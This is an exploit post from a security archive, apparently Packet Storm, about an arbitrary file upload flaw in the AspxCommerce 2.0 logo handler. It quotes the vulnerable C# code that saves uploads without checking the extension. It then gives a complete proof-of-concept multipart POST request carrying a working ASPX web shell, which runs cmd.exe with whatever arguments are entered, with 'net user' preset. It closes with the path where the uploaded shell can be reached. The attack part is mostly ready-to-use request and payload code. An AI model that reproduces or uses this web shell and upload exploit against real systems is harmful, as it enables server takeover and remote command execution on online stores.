exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

AspxCommerce 2.0 Shell Upload

AspxCommerce 2.0 Shell Upload
Posted Sep 23, 2013
Authored by SANTHO

AspxCommerce version 2.0 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 8713bab6a79f7b5d50c2b8edad2fb8f4da89c6c5cd1a55ab350684bd6f34a372

AspxCommerce 2.0 Shell Upload

Change Mirror Download
# Exploit Title: AspxCommerce v2.0 - Arbitrary File Upload Vulnerability
# Exploit Author: SANTHO (@s4n7h0)
# Vendor Homepage: http://www.aspxcommerce.com/
# Version: Version 2.0 and below

Introduction:
~~~~~~~~~~~~~
AspxCommerce is a complete e-Commerce solution for setting up a fully
functional online store in minutes. It's fully customizable with rich set
of features.
You can customize the complete front end, change the look and feel, create
categories and subcategories, add and modify products, accept payments
through credit cards and facilitates a lot of other features.

Exploitation Details:
~~~~~~~~~~~~~~~~~~~~~
The application doesn't sanitize file extension or content in the Logo
Editing module. The vulnerability allows a remote attacker to upload files
via POST method with multiple extensions and access them remotely.

Vulnerable Module : LogoHandler.ashx

Vulnerable Code :
string strFileName =
Path.GetFileName(context.Request.Files[0].FileName);
string strExtension =
Path.GetExtension(context.Request.Files[0].FileName).ToLower();
strFileName = strFileName.Substring(0, strFileName.Length -
strExtension.Length);
strFileName = strFileName + '_' + rnd.Next(111111,
999999).ToString() + strExtension;
int strSize = HttpContext.Current.Request.Files[0].ContentLength;
string strBaseLocation =
HttpContext.Current.Server.MapPath("~/Modules/Logo/image/");
if (!Directory.Exists(strBaseLocation))
{
Directory.CreateDirectory(strBaseLocation);
}
string strSaveLocation = strBaseLocation + strFileName;
HttpContext.Current.Request.Files[0].SaveAs(strSaveLocation);
retMsg = "Modules/Logo/image/" + strFileName;


Proof of Concept:
~~~~~~~~~~~~~~~~~

POST /Modules/Logo/LogoHandler.ashx HTTP/1.1
Host: aspxcommerce.localhost
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://aspxcommerce.localhost/Sagin/HandleModuleControls.aspx?uid=342&pid=1
Cookie: nessus-session=false; VisitCount=10; OriginalURL=
http://aspxcommerce.localhost/; ASP.NET_SessionId=ks51au3fwkgnmtebeznhl245;
__zlcid=%7B%22mID%22%3A%22L0dAifDhLZG23y%22%2C%22sid%22%3A%22130919.327274.49Hg448a%22%7D;
OriginalReferrer=http://aspxcommerce.localhost/;
SageUserRolesCookie=SageUserRolesCookie=Site
Admin&SageUserRolesProtected=910f0c31-e1dd-42d2-988b-545fe8621544;
SageFrame.AUTH__1=4374B9AB7C8ACCE26B3DF7734F2DEA168E06E27D8852C0346F86CDB566D2B9D22A256A9C56F561DCFF57A79F473E37DAF19D7E8AFC32D97DE3CAAA0769B8D3FDC604FDCF6768838E3C30E0E9C84974B0373627A00D793AA792590BAB93CF6EF8105E81E156A0DEB1E0910C1BC1583AC69F3FDFEC
Connection: keep-alive
Content-Type: multipart/form-data;
boundary=---------------------------56701790317916
Content-Length: 1789

-----------------------------56701790317916
Content-Disposition: form-data; name="myfile[]"; filename="cmd.aspx"
Content-Type: application/octet-stream

<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<script runat="server">

Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xcmd.text
myProcess.Start()

Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub

</script>

<html>
<body>
<form runat="server">
<p><asp:Label id="L_p" runat="server"
width="80px">Program</asp:Label>
<asp:TextBox id="xpath" runat="server"
Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
<p><asp:Label id="L_a" runat="server"
width="80px">Arguments</asp:Label>
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c
net user</asp:TextBox>
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px"
Text="Run"></asp:Button>
<p><asp:Label id="result" runat="server"></asp:Label>
</form>
</body>
</html>
-----------------------------56701790317916--

Uploaded Shell's Access Path :
http://aspxcommerce.localhost/Modules/Logo/image/cmd_134724.aspx






--
SANTHO
twitter : @s4n70 <https://twitter.com/s4n7h0>

<http://devilslab.wordpress.com/>
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close